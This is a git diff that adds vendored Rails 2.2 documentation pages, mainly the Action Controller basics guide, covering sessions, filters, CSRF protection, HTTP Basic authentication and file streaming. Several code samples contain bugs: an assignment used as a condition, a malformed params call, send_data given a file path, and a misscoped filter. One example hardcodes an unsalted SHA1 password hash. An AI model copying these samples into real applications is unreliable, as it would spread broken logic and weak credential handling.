    +
  • +
  • +

    +rake gems:install to install missing gems to the computer +

    +
  • +
  • +

    +rake gems:unpack to place a copy of the required gems into /vendor/gems +

    +
  • +
  • +

    +rake gems:unpack:dependencies to get copies of the required gems and their dependencies into /vendor/gems +

    +
  • +
  • +

    +rake gems:build to build any missing native extensions +

    +
  • +
  • +

    +rake gems:refresh_specs to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them +

    +
  • +
+

You can unpack or install a single gem by specifying GEM=gem_name on the command line.

+
+

10.2. Other Railties Changes

+
    +
  • +

    +If you're a fan of the Thin web server, you'll be happy to know that script/server now supports Thin directly. +

    +
  • +
  • +

    +script/plugin install <plugin> -r <revision> now works with git-based as well as svn-based plugins. +

    +
  • +
  • +

    +script/console now supports a —debugger option +

    +
  • +
  • +

    +Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source +

    +
  • +
  • +

    +rake notes:custom ANNOTATION=MYFLAG lets you list out custom annotations. +

    +
  • +
  • +

    +Wrapped Rails.env in StringInquirer so you can do Rails.env.development? +

    +
  • +
  • +

    +To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher. +

    +
  • +
+
+

11. Deprecated

+
+

A few pieces of older code are deprecated in this release:

+
    +
  • +

    +Rails::SecretKeyGenerator has been replaced by ActiveSupport::SecureRandom +

    +
  • +
  • +

    +render_component is deprecated. There's a render_components plugin available if you need this functionality. +

    +
  • +
  • +

    +Implicit local assignments when rendering partials has been deprecated. +

    +
  • +
+
+
+
def partial_with_implicit_local_assignment
+  @customer = Customer.new("Marcel")
+  render :partial => "customer"
+end
+
+

Previously the above code made available a local variable called customer inside the partial customer. You should explicitly pass all the variables via :locals hash now.

+
    +
  • +

    +country_select has been removed. See the deprecation page for more information and a plugin replacement. +

    +
  • +
  • +

    +ActiveRecord::Base.allow_concurrency no longer has any effect. +

    +
  • +
  • +

    +ActiveRecord::Errors.default_error_messages has been deprecated in favor of I18n.translate(activerecord.errors.messages) +

    +
  • +
  • +

    +The %s and %d interpolation syntax for internationalization is deprecated. +

    +
  • +
  • +

    +String#chars has been deprecated in favor of String#mb_chars. +

    +
  • +
  • +

    +Durations of fractional months or fractional years are deprecated. Use Ruby's core Date and Time class arithmetic instead. +

    +
  • +
+
+

12. Credits

+
+

Release notes compiled by Mike Gunderloy

+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/actioncontroller_basics.html b/vendor/rails/railties/doc/guides/html/actioncontroller_basics.html new file mode 100644 index 00000000..ecaf2c07 --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/actioncontroller_basics.html @@ -0,0 +1,1270 @@ + + + + + Action Controller basics + + + + + + + + + +
+ + + +
+

Action Controller basics

+
+
+

In this guide you will learn how controllers work and how they fit into the request cycle in your application. After reading this guide, you will be able to:

+
    +
  • +

    +Follow the flow of a request through a controller +

    +
  • +
  • +

    +Understand why and how to store data in the session or cookies +

    +
  • +
  • +

    +Work with filters to execute code during request processing +

    +
  • +
  • +

    +Use Action Controller's built-in HTTP authentication +

    +
  • +
  • +

    +Stream data directly to the user's browser +

    +
  • +
  • +

    +Filter sensitive parameters so they do not appear in the application's log +

    +
  • +
  • +

    +Deal with exceptions that may be raised during request processing +

    +
  • +
+
+
+

1. What Does a Controller do?

+
+

Action Controller is the C in MVC. After routing has determined which controller to use for a request, your controller is responsible for making sense of the request and producing the appropriate output. Luckily, Action Controller does most of the groundwork for you and uses smart conventions to make this as straight-forward as possible.

+

For most conventional RESTful applications, the controller will receive the request (this is invisible to you as the developer), fetch or save data from a model and use a view to create HTML output. If your controller needs to do things a little differently, that's not a problem, this is just the most common way for a controller to work.

+

A controller can thus be thought of as a middle man between models and views. It makes the model data available to the view so it can display that data to the user, and it saves or updates data from the user to the model.

+
+ + + +
+Note +For more details on the routing process, see Rails Routing from the Outside In.
+
+
+

2. Methods and Actions

+
+

A controller is a Ruby class which inherits from ApplicationController and has methods just like any other class. When your application receives a request, the routing will determine which controller and action to run, then Rails creates an instance of that controller and runs the public method with the same name as the action.

+
+
+
class ClientsController < ApplicationController
+
+  # Actions are public methods
+  def new
+  end
+
+  # Action methods are responsible for producing output
+  def edit
+  end
+
+# Helper methods are private and can not be used as actions
+private
+
+  def foo
+  end
+
+end
+
+

There's no rule saying a method on a controller has to be an action; they may well be used for other purposes such as filters, which will be covered later in this guide.

+

As an example, if a user goes to /clients/new in your application to add a new client, Rails will create an instance of ClientsController and run the new method. Note that the empty method from the example above could work just fine because Rails will by default render the new.html.erb view unless the action says otherwise. The new method could make available to the view a @client instance variable by creating a new Client:

+
+
+
def new
+  @client = Client.new
+end
+
+

The Layouts & rendering guide explains this in more detail.

+

ApplicationController inherits from ActionController::Base, which defines a number of helpful methods. This guide will cover some of these, but if you're curious to see what's in there, you can see all of them in the API documentation or in the source itself.

+
+

3. Parameters

+
+

You will probably want to access data sent in by the user or other parameters in your controller actions. There are two kinds of parameters possible in a web application. The first are parameters that are sent as part of the URL, called query string parameters. The query string is everything after "?" in the URL. The second type of parameter is usually referred to as POST data. This information usually comes from a HTML form which has been filled in by the user. It's called POST data because it can only be sent as part of an HTTP POST request. Rails does not make any distinction between query string parameters and POST parameters, and both are available in the params hash in your controller:

+
+
+
class ClientsController < ActionController::Base
+
+  # This action uses query string parameters because it gets run by a HTTP
+  # GET request, but this does not make any difference to the way in which
+  # the parameters are accessed. The URL for this action would look like this
+  # in order to list activated clients: /clients?status=activated
+  def index
+    if params[:status] = "activated"
+      @clients = Client.activated
+    else
+      @clients = Client.unativated
+    end
+  end
+
+  # This action uses POST parameters. They are most likely coming from an HTML
+  # form which the user has submitted. The URL for this RESTful request will
+  # be "/clients", and the data will be sent as part of the request body.
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      redirect_to @client
+    else
+      # This line overrides the default rendering behavior, which would have been
+      # to render the "create" view.
+      render :action => "new"
+    end
+  end
+
+end
+
+

3.1. Hash and Array Parameters

+

The params hash is not limited to one-dimensional keys and values. It can contain arrays and (nested) hashes. To send an array of values, append "[]" to the key name:

+
+
+
GET /clients?ids[]=1&ids[]=2&ids[]=3
+
+
+ + + +
+Note +The actual URL in this example will be encoded as "/clients?ids%5b%5d=1&ids%5b%5d=2&ids%5b%5b=3" as [ and ] are not allowed in URLs. Most of the time you don't have to worry about this because the browser will take care of it for you, and Rails will decode it back when it receives it, but if you ever find yourself having to send those requests to the server manually you have to keep this in mind.
+
+

The value of params[:ids] will now be ["1", "2", "3"]. Note that parameter values are always strings; Rails makes no attempt to guess or cast the type.

+

To send a hash you include the key name inside the brackets:

+
+
+
<form action="/clients" method="post">
+  <input type="text" name="client[name]" value="Acme" />
+  <input type="text" name="client[phone]" value="12345" />
+  <input type="text" name="client[address][postcode]" value="12345" />
+  <input type="text" name="client[address][city]" value="Carrot City" />
+</form>
+
+

The value of params[:client] when this form is submitted will be {"name" ⇒ "Acme", "phone" ⇒ "12345", "address" ⇒ {"postcode" ⇒ "12345", "city" ⇒ "Carrot City"}}. Note the nested hash in params[:client][:address].

+

Note that the params hash is actually an instance of HashWithIndifferentAccess from Active Support which is a subclass of Hash which lets you use symbols and strings interchangeably as keys.

+

3.2. Routing Parameters

+

The params hash will always contain the :controller and :action keys, but you should use the methods controller_name and action_name instead to access these values. Any other parameters defined by the routing, such as :id will also be available. As an example, consider a listing of clients where the list can show either active or inactive clients. We can add a route which captures the :status parameter in a "pretty" URL:

+
+
+
# ...
+map.connect "/clients/:status", :controller => "clients", :action => "index", :foo => "bar"
+# ...
+
+

In this case, when a user opens the URL /clients/active, params[:status] will be set to "active". When this route is used, params[:foo] will also be set to "bar" just like it was passed in the query string in the same way params[:action] will contain "index".

+

3.3. default_url_options

+

You can set global default parameters that will be used when generating URLs with default_url_options. To do this, define a method with that name in your controller:

+
+
+
class ApplicationController < ActionController::Base
+
+  #The options parameter is the hash passed in to +url_for+
+  def default_url_options(options)
+    {:locale => I18n.locale}
+  end
+
+end
+
+

These options will be used as a starting-point when generating, so it's possible they'll be overridden by url_for. Because this method is defined in the controller, you can define it on ApplicationController so it would be used for all URL generation, or you could define it on only one controller for all URLs generated there.

+
+

4. Session

+
+

Your application has a session for each user in which you can store small amounts of data that will be persisted between requests. The session is only available in the controller and the view and can use one of a number of different storage mechanisms:

+
    +
  • +

    +CookieStore - Stores everything on the client. +

    +
  • +
  • +

    +DRbStore - Stores the data on a DRb server. +

    +
  • +
  • +

    +MemCacheStore - Stores the data in a memcache. +

    +
  • +
  • +

    +ActiveRecordStore - Stores the data in a database using Active Record. +

    +
  • +
+

All session stores use a cookie - this is required and Rails does not allow any part of the session to be passed in any other way (e.g. you can't use the query string to pass a session ID) because of security concerns (it's easier to hijack a session when the ID is part of the URL).

+

Most stores use a cookie to store the session ID which is then used to look up the session data on the server. The default and recommended store, the CookieStore, does not store session data on the server, but in the cookie itself. The data is cryptographically signed to make it tamper-proof, but it is not encrypted, so anyone with access to it can read its contents but not edit it (Rails will not accept it if it has been edited). It can only store about 4kB of data - much less than the others - but this is usually enough. Storing large amounts of data is discouraged no matter which session store your application uses. You should especially avoid storing complex objects (anything other than basic Ruby objects, the most common example being model instances) in the session, as the server might not be able to reassemble them between requests, which will result in an error. The CookieStore has the added advantage that it does not require any setting up beforehand - Rails will generate a "secret key" which will be used to sign the cookie when you create the application.

+

Read more about session storage in the Security Guide.

+

If you need a different session storage mechanism, you can change it in the config/environment.rb file:

+
+
+
# Set to one of [:active_record_store, :drb_store, :mem_cache_store, :cookie_store]
+config.action_controller.session_store = :active_record_store
+
+

4.1. Disabling the Session

+

Sometimes you don't need a session. In this case, you can turn it off to avoid the unnecessary overhead. To do this, use the session class method in your controller:

+
+
+
class ApplicationController < ActionController::Base
+  session :off
+end
+
+

You can also turn the session on or off for a single controller:

+
+
+
# The session is turned off by default in ApplicationController, but we
+# want to turn it on for log in/out.
+class LoginsController < ActionController::Base
+  session :on
+end
+
+

Or even for specified actions:

+
+
+
class ProductsController < ActionController::Base
+  session :on, :only => [:create, :update]
+end
+
+

4.2. Accessing the Session

+

In your controller you can access the session through the session instance method.

+
+ + + +
+Note +There are two session methods, the class and the instance method. The class method which is described above is used to turn the session on and off while the instance method described below is used to access session values.
+
+

Session values are stored using key/value pairs like a hash:

+
+
+
class ApplicationController < ActionController::Base
+
+private
+
+  # Finds the User with the ID stored in the session with the key :current_user_id
+  # This is a common way to handle user login in a Rails application; logging in sets the
+  # session value and logging out removes it.
+  def current_user
+    @_current_user ||= session[:current_user_id] && User.find(session[:current_user_id])
+  end
+
+end
+
+

To store something in the session, just assign it to the key like a hash:

+
+
+
class LoginsController < ApplicationController
+
+  # "Create" a login, aka "log the user in"
+  def create
+    if user = User.authenticate(params[:username, params[:password])
+      # Save the user ID in the session so it can be used in subsequent requests
+      session[:current_user_id] = user.id
+      redirect_to root_url
+    end
+  end
+
+end
+
+

To remove something from the session, assign that key to be nil:

+
+
+
class LoginsController < ApplicationController
+
+  # "Delete" a login, aka "log the user out"
+  def destroy
+    # Remove the user id from the session
+    session[:current_user_id] = nil
+    redirect_to root_url
+  end
+
+end
+
+

To reset the entire session, use reset_session.

+

4.3. The flash

+

The flash is a special part of the session which is cleared with each request. This means that values stored there will only be available in the next request, which is useful for storing error messages etc. It is accessed in much the same way as the session, like a hash. Let's use the act of logging out as an example. The controller can send a message which will be displayed to the user on the next request:

+
+
+
class LoginsController < ApplicationController
+
+  def destroy
+    session[:current_user_id] = nil
+    flash[:notice] = "You have successfully logged out"
+    redirect_to root_url
+  end
+
+end
+
+

The destroy action redirects to the application's root_url, where the message will be displayed. Note that it's entirely up to the next action to decide what, if anything, it will do with what the previous action put in the flash. It's conventional to display eventual errors or notices from the flash in the application's layout:

+
+
+
<html>
+  <!-- <head/> -->
+  <body>
+    <% if flash[:notice] -%>
+      <p class="notice"><%= flash[:notice] %></p>
+    <% end -%>
+    <% if flash[:error] -%>
+      <p class="error"><%= flash[:error] %></p>
+    <% end -%>
+    <!-- more content -->
+  </body>
+</html>
+
+

This way, if an action sets an error or a notice message, the layout will display it automatically.

+

If you want a flash value to be carried over to another request, use the keep method:

+
+
+
class MainController < ApplicationController
+
+  # Let's say this action corresponds to root_url, but you want all requests here to be redirected to
+  # UsersController#index. If an action sets the flash and redirects here, the values would normally be
+  # lost when another redirect happens, but you can use keep to make it persist for another request.
+  def index
+    flash.keep # Will persist all flash values. You can also use a key to keep only that value: flash.keep(:notice)
+    redirect_to users_url
+  end
+
+end
+
+

4.3.1. flash.now

+

By default, adding values to the flash will make them available to the next request, but sometimes you may want to access those values in the same request. For example, if the create action fails to save a resource and you render the new template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use flash.now in the same way you use the normal flash:

+
+
+
class ClientsController < ApplicationController
+
+  def create
+    @client = Client.new(params[:client])
+    if @client.save
+      # ...
+    else
+      flash.now[:error] = "Could not save client"
+      render :action => "new"
+    end
+  end
+
+end
+
+
+

5. Cookies

+
+

Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the cookies method, which - much like the session - works like a hash:

+
+
+
class CommentsController < ApplicationController
+
+  def new
+    #Auto-fill the commenter's name if it has been stored in a cookie
+    @comment = Comment.new(:name => cookies[:commenter_name])
+  end
+
+  def create
+    @comment = Comment.new(params[:comment])
+    if @comment.save
+      flash[:notice] = "Thanks for your comment!"
+      if params[:remember_name]
+        # Remember the commenter's name
+        cookies[:commenter_name] = @comment.name
+      else
+        # Don't remember, and delete the name if it has been remembered before
+        cookies.delete(:commenter_name)
+      end
+      redirect_to @comment.article
+    else
+      render :action => "new"
+    end
+  end
+
+end
+
+

Note that while for session values, you set the key to nil, to delete a cookie value, you should use cookies.delete(:key).

+
+

6. Filters

+
+

Filters are methods that are run before, after or "around" a controller action. For example, one filter might check to see if the logged in user has the right credentials to access that particular controller or action. Filters are inherited, so if you set a filter on ApplicationController, it will be run on every controller in your application. A common, simple filter is one which requires that a user is logged in for an action to be run. You can define the filter method this way:

+
+
+
class ApplicationController < ActionController::Base
+
+private
+
+  def require_login
+    unless logged_in?
+      flash[:error] = "You must be logged in to access this section"
+      redirect_to new_login_url # Prevents the current action from running
+    end
+  end
+
+  # The logged_in? method simply returns true if the user is logged in and
+  # false otherwise. It does this by "booleanizing" the current_user method
+  # we created previously using a double ! operator. Note that this is not
+  # common in Ruby and is discouraged unless you really mean to convert something
+  # into true or false.
+  def logged_in?
+    !!current_user
+  end
+
+end
+
+

The method simply stores an error message in the flash and redirects to the login form if the user is not logged in. If a before filter (a filter which is run before the action) renders or redirects, the action will not run. If there are additional filters scheduled to run after the rendering or redirecting filter, they are also cancelled. To use this filter in a controller, use the before_filter method:

+
+
+
class ApplicationController < ActionController::Base
+
+  before_filter :require_login
+
+end
+
+

In this example, the filter is added to ApplicationController and thus all controllers in the application. This will make everything in the application require the user to be logged in in order to use it. For obvious reasons (the user wouldn't be able to log in in the first place!), not all controllers or actions should require this. You can prevent this filter from running before particular actions with skip_before_filter :

+
+
+
class LoginsController < Application
+
+  skip_before_filter :require_login, :only => [:new, :create]
+
+end
+
+

Now, the LoginsController's "new" and "create" actions will work as before without requiring the user to be logged in. The :only option is used to only skip this filter for these actions, and there is also an :except option which works the other way. These options can be used when adding filters too, so you can add a filter which only runs for selected actions in the first place.

+

6.1. After Filters and Around Filters

+

In addition to the before filters, you can run filters after an action has run or both before and after. The after filter is similar to the before filter, but because the action has already been run it has access to the response data that's about to be sent to the client. Obviously, after filters can not stop the action from running. Around filters are responsible for running the action, but they can choose not to, which is the around filter's way of stopping it.

+
+
+
# Example taken from the Rails API filter documentation:
+# http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html
+class ApplicationController < Application
+
+  around_filter :catch_exceptions
+
+private
+
+  def catch_exceptions
+    yield
+  rescue => exception
+    logger.debug "Caught exception! #{exception}"
+    raise
+  end
+
+end
+
+

6.2. Other Ways to Use Filters

+

While the most common way to use filters is by creating private methods and using *_filter to add them, there are two other ways to do the same thing.

+

The first is to use a block directly with the *_filter methods. The block receives the controller as an argument, and the require_login filter from above could be rewritten to use a block:

+
+
+
class ApplicationController < ActionController::Base
+
+  before_filter { |controller| redirect_to new_login_url unless controller.send(:logged_in?) }
+
+end
+
+

Note that the filter in this case uses send because the logged_in? method is private and the filter is not run in the scope of the controller. This is not the recommended way to implement this particular filter, but in more simple cases it might be useful.

+

The second way is to use a class (actually, any object that responds to the right methods will do) to handle the filtering. This is useful in cases that are more complex than can not be implemented in a readable and reusable way using the two other methods. As an example, you could rewrite the login filter again to use a class:

+
+
+
class ApplicationController < ActionController::Base
+
+  before_filter LoginFilter
+
+end
+
+class LoginFilter
+
+  def self.filter(controller)
+    unless logged_in?
+      controller.flash[:error] = "You must be logged in to access this section"
+      controller.redirect_to controller.new_login_url
+    end
+  end
+
+end
+
+

Again, this is not an ideal example for this filter, because it's not run in the scope of the controller but gets the controller passed as an argument. The filter class has a class method filter which gets run before or after the action, depending on if it's a before or after filter. Classes used as around filters can also use the same filter method, which will get run in the same way. The method must yield to execute the action. Alternatively, it can have both a before and an after method that are run before and after the action.

+

The Rails API documentation has more information on using filters.

+
+

7. Verification

+
+

Verifications make sure certain criteria are met in order for a controller or action to run. They can specify that a certain key (or several keys in the form of an array) is present in the params, session or flash hashes or that a certain HTTP method was used or that the request was made using XMLHTTPRequest (Ajax). The default action taken when these criteria are not met is to render a 400 Bad Request response, but you can customize this by specifying a redirect URL or rendering something else and you can also add flash messages and HTTP headers to the response. It is described in the API documentation as "essentially a special kind of before_filter".

+

Here's an example of using verification to make sure the user supplies a username and a password in order to log in:

+
+
+
class LoginsController < ApplicationController
+
+  verify :params => [:username, :password],
+         :render => {:action => "new"},
+         :add_flash => {:error => "Username and password required to log in"}
+
+  def create
+    @user = User.authenticate(params[:username], params[:password])
+    if @user
+      flash[:notice] = "You're logged in"
+      redirect_to root_url
+    else
+      render :action => "new"
+    end
+  end
+
+end
+
+

Now the create action won't run unless the "username" and "password" parameters are present, and if they're not, an error message will be added to the flash and the "new" action will be rendered. But there's something rather important missing from the verification above: It will be used for every action in LoginsController, which is not what we want. You can limit which actions it will be used for with the :only and :except options just like a filter:

+
+
+
class LoginsController < ApplicationController
+
+  verify :params => [:username, :password],
+         :render => {:action => "new"},
+         :add_flash => {:error => "Username and password required to log in"},
+         :only => :create # Only run this verification for the "create" action
+
+end
+
+
+

8. Request Forgery Protection

+
+

Cross-site request forgery is a type of attack in which a site tricks a user into making requests on another site, possibly adding, modifying or deleting data on that site without the user's knowledge or permission. The first step to avoid this is to make sure all "destructive" actions (create, update and destroy) can only be accessed with non-GET requests. If you're following RESTful conventions you're already doing this. However, a malicious site can still send a non-GET request to your site quite easily, and that's where the request forgery protection comes in. As the name says, it protects from forged requests. The way this is done is to add a non-guessable token which is only known to your server to each request. This way, if a request comes in without the proper token, it will be denied access.

+

If you generate a form like this:

+
+
+
<% form_for @user do |f| -%>
+  <%= f.text_field :username %>
+  <%= f.text_field :password -%>
+<% end -%>
+
+

You will see how the token gets added as a hidden field:

+
+
+
<form action="/users/1" method="post">
+<div><!-- ... --><input type="hidden" value="67250ab105eb5ad10851c00a5621854a23af5489" name="authenticity_token"/></div>
+<!-- Fields -->
+</form>
+
+

Rails adds this token to every form that's generated using the form helpers, so most of the time you don't have to worry about it. If you're writing a form manually or need to add the token for another reason, it's available through the method form_authenticity_token:

+
+
Example: Add a JavaScript variable containing the token for use with Ajax
+
+
<%= javascript_tag "MyApp.authenticity_token = '#{form_authenticity_token}'" %>
+
+

The Security Guide has more about this and a lot of other security-related issues that you should be aware of when developing a web application.

+
+

9. The request and response Objects

+
+

In every controller there are two accessor methods pointing to the request and the response objects associated with the request cycle that is currently in execution. The request method contains an instance of AbstractRequest and the response method returns a response object representing what is going to be sent back to the client.

+

9.1. The request Object

+

The request object contains a lot of useful information about the request coming in from the client. To get a full list of the available methods, refer to the API documentation. Among the properties that you can access on this object are:

+
    +
  • +

    +host - The hostname used for this request. +

    +
  • +
  • +

    +domain - The hostname without the first segment (usually "www"). +

    +
  • +
  • +

    +format - The content type requested by the client. +

    +
  • +
  • +

    +method - The HTTP method used for the request. +

    +
  • +
  • +

    +get?, post?, put?, delete?, head? - Returns true if the HTTP method is get/post/put/delete/head. +

    +
  • +
  • +

    +headers - Returns a hash containing the headers associated with the request. +

    +
  • +
  • +

    +port - The port number (integer) used for the request. +

    +
  • +
  • +

    +protocol - The protocol used for the request. +

    +
  • +
  • +

    +query_string - The query string part of the URL - everything after "?". +

    +
  • +
  • +

    +remote_ip - The IP address of the client. +

    +
  • +
  • +

    +url - The entire URL used for the request. +

    +
  • +
+

9.1.1. path_parameters, query_parameters and request_parameters

+

Rails collects all of the parameters sent along with the request in the params hash, whether they are sent as part of the query string or the post body. The request object has three accessors that give you access to these parameters depending on where they came from. The query_parameters hash contains parameters that were sent as part of the query string while the request_parameters hash contains parameters sent as part of the post body. The path_parameters hash contains parameters that were recognized by the routing as being part of the path leading to this particular controller and action.

+

9.2. The response Object

+

The response object is not usually used directly, but is built up during the execution of the action and rendering of the data that is being sent back to the user, but sometimes - like in an after filter - it can be useful to access the response directly. Some of these accessor methods also have setters, allowing you to change their values.

+
    +
  • +

    +body - This is the string of data being sent back to the client. This is most often HTML. +

    +
  • +
  • +

    +status - The HTTP status code for the response, like 200 for a successful request or 404 for file not found. +

    +
  • +
  • +

    +location - The URL the client is being redirected to, if any. +

    +
  • +
  • +

    +content_type - The content type of the response. +

    +
  • +
  • +

    +charset - The character set being used for the response. Default is "utf8". +

    +
  • +
  • +

    +headers - Headers used for the response. +

    +
  • +
+

9.2.1. Setting Custom Headers

+

If you want to set custom headers for a response then response.headers is the place to do it. The headers attribute is a hash which maps header names to their values, and Rails will set some of them - like "Content-Type" - automatically. If you want to add or change a header, just assign it to headers with the name and value:

+
+
+
response.headers["Content-Type"] = "application/pdf"
+
+
+

10. HTTP Basic Authentication

+
+

Rails comes with built-in HTTP Basic authentication. This is an authentication scheme that is supported by the majority of browsers and other HTTP clients. As an example, consider an administration section which will only be available by entering a username and a password into the browser's HTTP Basic dialog window. Using the built-in authentication is quite easy and only requires you to use one method, authenticate_or_request_with_http_basic.

+
+
+
class AdminController < ApplicationController
+
+  USERNAME, PASSWORD = "humbaba", "5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8"
+
+  before_filter :authenticate
+
+private
+
+  def authenticate
+    authenticate_or_request_with_http_basic do |username, password|
+      username == USERNAME && Digest::SHA1.hexdigest(password) == PASSWORD
+    end
+  end
+
+end
+
+

With this in place, you can create namespaced controllers that inherit from AdminController. The before filter will thus be run for all actions in those controllers, protecting them with HTTP Basic authentication.

+
+

11. Streaming and File Downloads

+
+

Sometimes you may want to send a file to the user instead of rendering an HTML page. All controllers in Rails have the send_data and the send_file methods, that will both stream data to the client. send_file is a convenience method which lets you provide the name of a file on the disk and it will stream the contents of that file for you.

+

To stream data to the client, use send_data:

+
+
+
require "prawn"
+class ClientsController < ApplicationController
+
+  # Generate a PDF document with information on the client and return it.
+  # The user will get the PDF as a file download.
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data(generate_pdf, :filename => "#{client.name}.pdf", :type => "application/pdf")
+  end
+
+private
+
+  def generate_pdf(client)
+    Prawn::Document.new do
+      text client.name, :align => :center
+      text "Address: #{client.address}"
+      text "Email: #{client.email}"
+    end.render
+  end
+
+end
+
+

The download_pdf action in the example above will call a private method which actually generates the file (a PDF document) and returns it as a string. This string will then be streamed to the client as a file download and a filename will be suggested to the user. Sometimes when streaming files to the user, you may not want them to download the file. Take images, for example, which can be embedded into HTML pages. To tell the browser a file is not meant to be downloaded, you can set the :disposition option to "inline". The opposite and default value for this option is "attachment".

+

11.1. Sending Files

+

If you want to send a file that already exists on disk, use the send_file method. This is usually not recommended, but can be useful if you want to perform some authentication before letting the user download the file.

+
+
+
class ClientsController < ApplicationController
+
+  # Stream a file that has already been generated and stored on disk
+  def download_pdf
+    client = Client.find(params[:id])
+    send_data("#{RAILS_ROOT}/files/clients/#{client.id}.pdf", :filename => "#{client.name}.pdf", :type => "application/pdf")
+  end
+
+end
+
+

This will read and stream the file 4Kb at the time, avoiding loading the entire file into memory at once. You can turn off streaming with the :stream option or adjust the block size with the :buffer_size option.

+
+ + + +
+Warning +Be careful when using (or just don't use) "outside" data (params, cookies, etc) to locate the file on disk, as this is a security risk that might allow someone to gain access to files they are not meant to see.
+
+
+ + + +
+Tip +It is not recommended that you stream static files through Rails if you can instead keep them in a public folder on your web server. It is much more efficient to let the user download the file directly using Apache or another web server, keeping the request from unnecessarily going through the whole Rails stack.
+
+

11.2. RESTful Downloads

+

While send_data works just fine, if you are creating a RESTful application having separate actions for file downloads is usually not necessary. In REST terminology, the PDF file from the example above can be considered just another representation of the client resource. Rails provides an easy and quite sleek way of doing "RESTful downloads". Here's how you can rewrite the example so that the PDF download is a part of the show action, without any streaming:

+
+
+
class ClientsController < ApplicationController
+
+  # The user can request to receive this resource as HTML or PDF.
+  def show
+    @client = Client.find(params[:id])
+
+    respond_to do |format|
+      format.html
+      format.pdf{ render :pdf => generate_pdf(@client) }
+    end
+  end
+
+end
+
+

In order for this example to work, you have to add the PDF MIME type to Rails. This can be done by adding the following line to the file config/initializers/mime_types.rb:

+
+
+
Mime::Type.register "application/pdf", :pdf
+
+
+ + + +
+Note +Configuration files are not reloaded on each request, so you have to restart the server in order for their changes to take effect.
+
+

Now the user can request to get a PDF version of a client just by adding ".pdf" to the URL:

+
+
+
GET /clients/1.pdf
+
+
+

12. Parameter Filtering

+
+

Rails keeps a log file for each environment (development, test and production) in the "log" folder. These are extremely useful when debugging what's actually going on in your application, but in a live application you may not want every bit of information to be stored in the log file. The filter_parameter_logging method can be used to filter out sensitive information from the log. It works by replacing certain values in the params hash with "[FILTERED]" as they are written to the log. As an example, let's see how to filter all parameters with keys that include "password":

+
+
+
class ApplicationController < ActionController::Base
+
+  filter_parameter_logging :password
+
+end
+
+

The method works recursively through all levels of the params hash and takes an optional second parameter which is used as the replacement string if present. It can also take a block which receives each key in return and replaces those for which the block returns true.

+
+

13. Rescue

+
+

Most likely your application is going to contain bugs or otherwise throw an exception that needs to be handled. For example, if the user follows a link to a resource that no longer exists in the database, Active Record will throw the ActiveRecord::RecordNotFound exception. Rails' default exception handling displays a 500 Server Error message for all exceptions. If the request was made locally, a nice traceback and some added information gets displayed so you can figure out what went wrong and deal with it. If the request was remote Rails will just display a simple "500 Server Error" message to the user, or a "404 Not Found" if there was a routing error or a record could not be found. Sometimes you might want to customize how these errors are caught and how they're displayed to the user. There are several levels of exception handling available in a Rails application:

+

13.1. The Default 500 and 404 Templates

+

By default a production application will render either a 404 or a 500 error message. These messages are contained in static HTML files in the public folder, in 404.html and 500.html respectively. You can customize these files to add some extra information and layout, but remember that they are static; i.e. you can't use RHTML or layouts in them, just plain HTML.

+

13.2. rescue_from

+

If you want to do something a bit more elaborate when catching errors, you can use rescue_from, which handles exceptions of a certain type (or multiple types) in an entire controller and its subclasses. When an exception occurs which is caught by a rescue_from directive, the exception object is passed to the handler. The handler can be a method or a Proc object passed to the :with option. You can also use a block directly instead of an explicit Proc object.

+

Here's how you can use rescue_from to intercept all ActiveRecord::RecordNotFound errors and do something with them.

+
+
+
class ApplicationController < ActionController::Base
+
+  rescue_from ActiveRecord::RecordNotFound, :with => :record_not_found
+
+private
+
+  def record_not_found
+    render :text => "404 Not Found", :status => 404
+  end
+
+end
+
+

Of course, this example is anything but elaborate and doesn't improve on the default exception handling at all, but once you can catch all those exceptions you're free to do whatever you want with them. For example, you could create custom exception classes that will be thrown when a user doesn't have access to a certain section of your application:

+
+
+
class ApplicationController < ActionController::Base
+
+  rescue_from User::NotAuthorized, :with => :user_not_authorized
+
+private
+
+  def user_not_authorized
+    flash[:error] = "You don't have access to this section."
+    redirect_to :back
+  end
+
+end
+
+class ClientsController < ApplicationController
+
+  # Check that the user has the right authorization to access clients.
+  before_filter :check_authorization
+
+  # Note how the actions don't have to worry about all the auth stuff.
+  def edit
+    @client = Client.find(params[:id])
+  end
+
+private
+
+  # If the user is not authorized, just throw the exception.
+  def check_authorization
+    raise User::NotAuthorized unless current_user.admin?
+  end
+
+end
+
+
+ + + +
+Note +Certain exceptions are only rescuable from the ApplicationController class, as they are raised before the controller gets initialized and the action gets executed. See Pratik Naik's article on the subject for more information.
+
+
+

14. Changelog

+
+ +
    +
  • +

    +November 4, 2008: First release version by Tore Darrell +

    +
  • +
+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/activerecord_validations_callbacks.html b/vendor/rails/railties/doc/guides/html/activerecord_validations_callbacks.html new file mode 100644 index 00000000..2f8d6987 --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/activerecord_validations_callbacks.html @@ -0,0 +1,749 @@ + + + + + Active Record Validations and Callbacks + + + + + + + + + +
+ + + +
+

Active Record Validations and Callbacks

+
+
+

This guide teaches you how to work with the lifecycle of your Active Record objects. More precisely, you will learn how to validate the state of your objects before they go into the database and also how to teach them to perform custom operations at certain points of their lifecycles.

+

After reading this guide and trying out the presented concepts, we hope that you'll be able to:

+
    +
  • +

    +Correctly use all the built-in Active Record validation helpers +

    +
  • +
  • +

    +Create your own custom validation methods +

    +
  • +
  • +

    +Work with the error messages generated by the validation proccess +

    +
  • +
  • +

    +Register callback methods that will execute custom operations during your objects lifecycle, for example before/after they are saved. +

    +
  • +
  • +

    +Create special classes that encapsulate common behaviour for your callbacks +

    +
  • +
  • +

    +Create Observers - classes with callback methods specific for each of your models, keeping the callback code outside your models' declarations. +

    +
  • +
+
+
+

1. Motivations to validate your Active Record objects

+
+

